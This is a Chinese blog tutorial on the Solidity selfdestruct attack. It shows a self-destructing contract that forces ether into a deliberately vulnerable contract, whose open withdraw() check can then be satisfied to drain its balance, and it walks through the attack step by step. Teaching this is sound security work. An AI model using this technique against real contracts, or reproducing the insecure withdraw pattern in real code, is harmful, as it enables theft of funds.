区块链骇客第二讲: 自毁攻击

这篇具有很好参考价值的文章主要介绍了区块链骇客第二讲: 自毁攻击。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

1. What?

在区块链中删除代码的唯一方法是该地址的合约执行自毁操作,即 selfdestruct()。

存储在该地址的剩余以太被发送到指定目标,然后从该状态中删除存储和代码。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Example{
    constructor(address payable to) payable {
        // redirect all the `msg.value` to `to` when selfdestructing
        selfdestruct(to);
    }
}

如上例所示,这是一个包含着selfdestruct()函数的简单合约。

constructor 构造器,payable关键词使得该合约在被创建时就能够接收以太

selfdestruct()自毁函数,合约在创建之时,就直接自毁,删除代码,并且将合约本身的余额强制发送到to这个地址上;

说的简单点,自毁函数只有两个核心作用

  1. 它使合约变为无效,有效地删除该地址的字节码。
  2. 它把合约的所有资金强制发送到目标地址。

2. Why?

或许你对我上一部分举出的合约例子可能会感到疑惑,为什么不说得简洁一些呢?

那到底为什么要禁用自毁函数呢?

答案就在这个例子中!

这是一个具有攻击性的自毁合约;

刚刚说到,当调用自毁函数之时,合约余额将会被强制发送指定的地址上。

注意强制这一个词,这意味着接收地址合约无论是否拥有接收以太的函数,它都无法拒绝这笔余额打进来。

而这正是自毁函数被禁用的原因

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

//被攻击合约
contract Attacked {
    //部署时传入0.08 ether
    constructor() payable {}

    //获取合约余额
    function getBalance() public view returns (uint256 balance) {
        balance = address(this).balance;
        return balance;
    }

    //提款函数
    function withdraw(uint256 amount) external {
        require(address(this).balance > 0.1 ether);
        require(amount <= address(this).balance);
        payable(msg.sender).transfer(address(this).balance);
    }
}

如上例所示:这是一个被攻击的合约

那么问题来了,如何使用上面所学知识,将合约中的0.08 ether装进自己的钱包?

3. Try !

让我们研究一下此合约

  1. receive()、以及任何实现payable的function,说明合约无法正常接收以太交易;
  2. withdraw()是外部函数,并且最关键的限制条件是使合约余额大于0.1 ether;

结论

只要我们能够有办法将0.021个甚至更少的ether打进该合约,让调用withdraw()函数满足条件,就可以成功赚到0.08个ether。

讲到这里,相信大家已经悟了,摩拳擦掌准备大展身手了!

实战 !

  • 被攻击合约本身就有0.08 ether

合约 selfdestruct,区块链骇客,区块链,区块链,智能合约

  • 部署攻击合约,传入大于0.02个ether

合约 selfdestruct,区块链骇客,区块链,区块链,智能合约

  • 查看合约余额是否大于0.1 ether

合约 selfdestruct,区块链骇客,区块链,区块链,智能合约

  • 调用withdraw()函数提取合约所有余额,大功告成!
    合约 selfdestruct,区块链骇客,区块链,区块链,智能合约

更多区块链技术干货请关注

岚链技术论坛

77Brother的技术小栈(个人博客)文章来源地址https://www.toymoban.com/news/detail-791456.html

到了这里,关于区块链骇客第二讲: 自毁攻击的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • STL第二讲

    视频标准库源码版本:gnu c++ 2.9.1/4.9/Visual C++ GP是将datas与methods分开,OOP相反; 为什么list不能使用全局的 sort ? 因为sort源代码: 1. 运算符重载 对于一个迭代器,基本都要重载 * 、 - 、 后++ 、 前++ ,当然还包括其他 2. 模板 关于 特化(全特化) : 偏特化 (Partial Specializa

    2024年01月24日
    浏览(40)
  • QT第二讲

    loginscuueed.h widget.h loginsucceed.cpp widget.cpp main.cpp 运行结果测试  点击登录后 widget.h widget.cpp main.cpp

    2024年02月15日
    浏览(38)
  • JavaSE面试深度剖析 第二讲

    目录 JavaSE面试深度剖析 第二讲 JavaSE 语法     本文章向大家介绍JavaSE面试深度剖析 第二讲,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。   Java 有没有 goto 语句? goto 是 Java 中的保留字,在目前版

    2024年02月05日
    浏览(46)
  • 线代基础第二讲——矩阵

    基础知识结构   求矩阵的逆: 1.定义 2.用伴随矩阵求逆矩阵 3.用初等变换求逆矩阵 这就是读者对矩阵的初步认识——表达系统信息(systematical information) 再看一个矩阵: 重要观点1:矩阵是由若干行(列)向量拼成的——上面那个矩阵可以看作是由三个行向量[1,2,3],[5,7,9]和

    2024年02月14日
    浏览(45)
  • 视觉SLAM【第二讲-初识SLAM】

    视觉SLAM,主要指的是利用相机完成建图和定位问题。如果传感器是激光,那么就称为激光SLAM。 定位(明白自身状态(即位置))+建图(了解外在环境)。 视觉SLAM中使用的相机与常见的单反摄像头并不是一个东西,它更简单,不携带昂贵的镜头,以一定速率拍摄周围环境,

    2024年02月13日
    浏览(46)
  • SpringMVC第二讲:SpringMVC工程搭建

    pom.xml中添加资源 创建springMVC配置文件 在web.xml中添加spring监听和springMVC映射 创建controller

    2024年02月15日
    浏览(29)
  • Redis 7 第二讲 数据类型 基础篇

    Commands | Redis https://redis.io/commands/ Redis命令中心(Redis commands) -- Redis中国用户组(CRUG) Redis命令大全,显示全部已知的redis命令,redis集群相关命令,近期也会翻译过来,Redis命令参考,也可以直接输入命令进行命令检索。 http://www.redis.cn/commands.html 注:命令不区分大小写 KEYS

    2024年02月11日
    浏览(41)
  • 第二讲_HarmonyOS应用创建和运行

    打开DevEco Studio,在欢迎页单击Create Project,创建一个新工程。 选择创建Application应用。选择“Empty Ability”模板,然后单击Next。 填写工程相关信息,单击Finish。 预览项目,看到下面窗口表示创建成功。 我们准备在模拟器中运行新项目,接下来先创建一个模拟器。 在DevEco St

    2024年01月18日
    浏览(32)
  • 第二讲:数据结构 AcWing 826. 单链表

    笔试的题目大部分 大部分涉及到链表都是十万级别的 用数组的方式创建链表速度很快,不会超时,而如果用new 一个结构体的话 大部分就是比较慢的 所以不建议使用 数组模拟单链表 单链表在笔试题中用的最多是 领接表 领接表最多的应用是存储数和图 双链表 最多的应用就

    2024年02月19日
    浏览(41)
  • Spring第二讲:SpringIoC控制反转、依赖注入

    4、1什么是IoC 在传统的 Java 应用中,一个类想要调用另一个类中的属性或方法,通常会先在其代码中通过 new 的方式将后者的对象创建出来,然后才能实现属性或方法的调用。但在 Spring 应用中,Java 对象创建的控制权是掌握在 IoC 容器手里,开发者通过XML或注解的配置将Java对

    2024年02月13日
    浏览(47)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包